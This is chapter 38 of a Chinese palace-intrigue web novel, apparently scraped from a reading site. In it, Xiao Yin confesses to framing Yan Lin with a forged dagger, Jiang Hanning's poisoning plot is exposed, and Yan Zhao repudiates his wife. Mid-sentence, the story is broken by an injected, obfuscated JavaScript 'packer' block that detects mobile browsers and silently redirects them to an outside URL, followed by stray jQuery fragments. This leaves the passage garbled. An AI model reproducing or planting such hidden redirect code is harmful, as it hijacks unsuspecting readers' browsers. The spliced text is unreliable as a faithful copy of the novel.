38. 昭冤

作品:《此间春色

    她没来由地问了这么一句,江诗宁有些摸不着头脑。


    “萧表妹,我从未想过你会经历如此多的搓摩。”


    听到江诗宁这话,萧吟抿着嘴,声泪俱下。


    “人和人生来便是不同的,虽然你我的父亲官职不过一品之差,你的命却比我好太多。你生在上京,即使不被喜欢也能得嫁高门,就算被人议论几句,还是可以高高兴兴地做你的岐侯夫人。我与你不同,父亲官职微末,对我也没有任何帮助,人人都笑我痴心妄想,可是嫂嫂,想要出人头地,想过得风光富贵,有错吗?”


    江诗宁摇摇头,道:


    “没错。”


    萧吟上前一步,江诗宁有些怕她,可往后退去,却被正位的桌子拦住了后路。


    “嫂嫂,我输了。”


    江诗宁摇摇头,伸手去抓住了她的袖口。萧吟的手很冰,江诗宁摸着,似乎穿得只有一层纱料的衣服。


    她瘦了很多,江诗宁轻轻一握就抓住了她的整个手腕。


    “萧吟!”


    伴着一声呐喊,屋外突然进了二三十个家丁小厮,个个举着一个火把,将正厅外围了个水泄不通。江诗宁还没反应过来,就见到了燕临和燕诏自外侧走了进来。


    看到江诗宁在萧吟身后站着,二人皆是一惊,随后燕诏则是带了几分嘲讽意味看着她,反观燕临,他看着很是慌乱,伸出一只手指着江诗宁,对着萧吟道:


    “萧吟,你别伤害她。”


    看着他,萧吟笑了,然而笑得撕心裂肺,而后落下泪来,哭得凄戚。


    “你以为我是来杀她的?”


    燕临瞪着她,并不言语。


    萧吟突然举起手,解开身上的带子,她单薄的身躯挂不住那件外披,滑落下去,露出她其间穿着的那套天水碧的婵纱裙。栀子香气在她的身上徐徐散出,周围之人闻之,感到控制不住的喜悦之情,内心深处还觉得隐隐被勾了魂去。


    是迷香。


    江诗宁看着她穿得这样香艳,忙蹲下身去,捡起外披给她盖上。院里男子这样多,叫人瞧了去多不好,萧吟是最要脸面的,断不会如此。


    深更半夜,她神情恍惚地出现在自己面前,随后又赶来了这样阵仗的家丁,江诗宁心中便不住地猜想着,萧吟刚刚究竟是做什么去了。


    “嫂嫂不必怜惜她,她原就是个爬床惯了的。”


    江诗宁不解,燕诏打量着萧吟,道:


    “她方才趁着宁儿不在,熄了烛火爬上我的床,被我识破还大言不惭说愿意做妾,只求能留在上京,不愿被父亲接回巴蜀。我拒了她,她便出了我院子,朝着祖母这边来了。我恐她神志不清要做下错事,出门遇到兄长,他说嫂嫂也忘了这边来,我们便叫了人到此处。”


    江诗宁有些不敢信他的话,扭过头去看,可萧吟却早已是一副无所谓的模样,她便知道燕诏口中的那些话所言非虚。


    “萧吟,你既自轻自贱,愿意给人做妾,便远远地到其他地方去,爱给谁做妾都随你。”


    听燕诏这话,大抵是如同当年燕临一般,给萧吟寻了一门‘门当户对’的亲事,将她远远推出上京去。


    “二表哥这话,真是有趣,吟儿还要谢谢二表哥了。”


    萧吟转过身来,从腰间抽出一把匕首,江诗宁透过屋外的火把光亮,看清了那上面麒麟缠斗的刻样。


    “这是...”


    萧吟点点头,对着江诗宁道:


    “不错,这是杀死叶酥的那把匕首。”


    她拔出匕首,冒着寒光的刀刃在屋里散着光亮,仔细看去,上面还有没擦干净的血渍沾染其上。


    “那大理寺的那把...”


    江诗宁张口欲问,却被萧吟打断。


    “叶平成拿去的那把,才是御赐的麒麟匕首,所以这么久了也没被人查出不对。兵部里有贺家的部下,大内的器物长什么样,用的什么做出来,这些人再清楚不过了,我便吩咐他做了这几乎相同的匕首,而后叶酥身死,假匕首便被换了出来。”


    她侧过身,指了指站在燕诏身后,江晗宁的位置。


    “她从江府带来了一个陪嫁的丫头,是自小伺候的,你应该也是认识。我同二夫人飞鸽传信,早就计划好了一切,她便安排了那个婢女趁乱偷走了表哥的麒麟匕首,交给了我派去的杀手,而后杀了叶酥,嫁祸于人。”


    “我想要的很简单,就是叫燕临也感受感受,身为阶下之囚、看着家人离散的钻心之痛。而二夫人想要的...”


    说着,众人看向江晗宁,她立时吓得双腿瘫软,坐在原地。这一下,燕临自然是什么都明白了,拔出长剑指向地上的江晗宁,接着说道:


    “她想要的,是本侯的紫袍金带,能穿在燕诏的身上。”


    燕临眯着眼,步步紧逼,江晗宁吓得爬到燕诏的身侧,抓着他的衣袖瑟瑟发抖。


    “你屋里那个侍女几日不见了,你没发觉吗?”


    燕临唇角一勾,江晗宁转了转眼珠,发觉不对。燕临看着她这副模样,便向一旁燕诏开口,道:


    “她陪嫁带来的那个丫头,我已经处理了。诗诗产后虚亏,每日都要喝三次补药,府中的药膳全部都在膳司所烹,她潜了进去,支开其他的下人仆妇,把一包牵机药倒了进去。只是她没料到一点,我早吩咐了薛延守着北院的一切吃食,离过人的东西,我是绝不会给诗诗用的。”


    看着燕临手中冒着血气的长剑,江晗宁怕得哭了出来。这把剑陪着他上了无数次战场,那上面有多少条人命附着在其间,她不敢去想。


    “夫君...夫君救我...”


    她拉着燕诏的衣袖,可立在身旁的人却一把拂袖抽出了手臂。江晗宁不解其意,抬头看去,却被燕诏一掌扇至旁边。


    “夫君?”


    燕诏冷冷地看着她,那眸中不含一丝情感,似乎他们从不相识。


    “江晗宁,我说过让你不可伤她。”


    闻声,她似乎终于明白了什么,摇摇晃晃地站起身,朝着站


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203829|164912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在里侧的江诗宁看去。月光如屑落了满地,屋外小厮手中的烈焰火光冲天,她站在熊熊火焰之中,望向那清水一般透亮的人。


    原来如此。


    江晗宁捂着开始发红的脸,撑着地面站起身,看向自己身侧的丈夫。


    “夫君,你说过不可动她,是因为怕东窗事发,连累于我,是也不是?”


    燕诏淡淡瞥眼过来,夜色中,周遭火光浮动,在她眸中映现出自己淡淡的身影。


    像,确实像。


    可她却绝不会和面前这妇人一般,如此冲动、愚笨。


    “你要的,荣华富贵、地位名声,包括夫君的疼爱,我都给了你,你还有什么不满意的,要用这般手段陷害你的亲姐姐。”


    他每一语都咬字极重,含着鄙夷和嘲弄,不断地提醒她,将她的罪孽重新砸在她的面上,让她清楚,陷害亲姐是多么不可饶恕的罪孽。


    可他自始至终似乎都不曾变过,只一心想着那个真正洁白无瑕的瓷玉。


    是,也不是。


    江晗宁眉间一松,仿佛怀疑自己听错了一般,眸光不动地向他确认着,可对面那趾高气扬的男子却不曾再怜惜她一分柔情。


    她的胸口有什么压着,眨了眨眼,心间闷着,险些忘记了呼吸。江晗宁略抬起头,有些迷茫地扫视了一圈周围之人,看了看那些奴仆家丁、婢女仆妇,包括不远处的江诗宁。


    她最在乎的便是自己的颜面,仅仅是当年与叶酥没定下的亲事被退,她都深感难堪,将自己闷在闺中,几近一载都不肯出门。可此刻,她奉为挚爱的丈夫如此当众羞辱于她,江晗宁却没有如那时一般发了疯。


    她想过,燕诏会对自己的态度陡然扭转,甚至亲自登门提亲求娶,或许是另有图谋。譬如他也同燕临最初那般,需要父亲江鸿章在朝堂上的助力,联合文官为他说说好话,叫他也能青云直上,不再寄人篱下。


    但她没有那么在乎,只要燕诏待自己好,她可以倾尽所有去助他,哪怕要双手染血。


    “是因为我像她?是吗?”


    燕诏的面上很平静,他淡淡对着妻子开口,道:


    “有四分像,已是足够。”


    江晗宁目光闪烁,深深吸了口气,想按下心中莫名的慌乱,无奈她控制不住,只能任由心中的情绪如瓢泼大雨般涌出。她先是泛起眼泪,而后是任酸涩充盈了眼眶,再之后,便红着眼痛哭,落泪不止。


    她边哭边笑,形同疯妇,周围无人上前拦她,可也无一人安慰她。


    “你也觉得她比我美,你也嫌弃我母亲本是妾室,我是庶女出身,是吗?”


    燕诏摇了摇头,叹息道:


    “我父亲亦是庶出,我怎会在意这些。江晗宁,你虽样貌姣好,可心却狠毒,你口口声声为了我,难道却没有一分私心,是因为自己想做侯爵夫人,风光一生吗?”


    “你若安分守己,不去害她,我们原可以相濡终生的。”


    江晗宁跌跌撞撞地向他靠近了两步。